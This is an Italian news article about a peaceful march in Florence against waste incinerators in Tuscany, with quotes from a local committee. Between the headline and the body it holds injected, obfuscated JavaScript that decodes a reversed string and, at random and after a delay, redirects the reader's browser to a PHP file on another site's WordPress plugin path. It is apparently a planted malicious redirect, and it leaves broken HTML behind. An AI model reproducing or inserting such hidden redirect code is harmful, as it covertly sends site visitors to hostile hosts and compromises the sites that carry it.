Più di cento tra comitati, gruppi e associazioni per fermare gli inceneritori che uccidono in Toscana

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2012/05/volantinomanifestazione_def.jpg”>In corteo a Firenze contro gli inceneritori di rifiuti e per la realizzazione di progetti alternativi: circa 5.000 persone, venute da tutta la Toscana, hanno dato vita nel pomeriggio di sabato scorso, nel centro della città, ad una manifestazione molto partecipata, pacifica e festosa (oltre 100 le realtà che hanno aderito da tutta la regione, ndr).

“Quella che i politici stanno facendo è una scelta vecchia e sbagliata – spiega Roberto Menichetti del comitato contro gli inceneritori centro Toscana -, bisogna partire invece da un nuovo concetto di rifiuto. Le esperienze in tutto il mondo ci sono, come possono permettersi invece questi signori di bruciare soldi nella realizzazione degli inceneritori e mettere a grave rischio la salute dei cittadini, com’è dimostrato da tante ricerche, anche tra gli abitanti toscani che vivono vicino ad un termovalorizzatore come per esempio quello di Montale”.

Il corteo è partito dalla Fortezza da Basso. In apertura lo striscione ‘Non bruciamoci il futuro’, seguito dalle insegne di comitati provenienti da Castelfranco, della Valdisieve, della Piana fiorentina, della Versilia, di Prato e Pistoia. Cinque bambini reggevano uno striscione su cui era scritto ‘Non bruciate il nostro futuro’. In via Cavour, sosta davanti alle sedi di Regione, Provincia e Prefettura con un coro di fischietti rivolto al presidente della Provincia Andrea Barducci (l’ente ha recentemente approvato il piano interprovinciale di Firenze-Prato-Pistoia che prevede, tra l’altro, la realizzazione di due nuovi termovalorizzatori nel Fiorentino e l’ampliamento di altri) e contro il presidente della Regione Toscana Enrico Rossi che – hanno spiegato gli organizzatori – “ha incentrato tutta la sua campagna elettorale sugli inceneritori”.

Fonte Ansa

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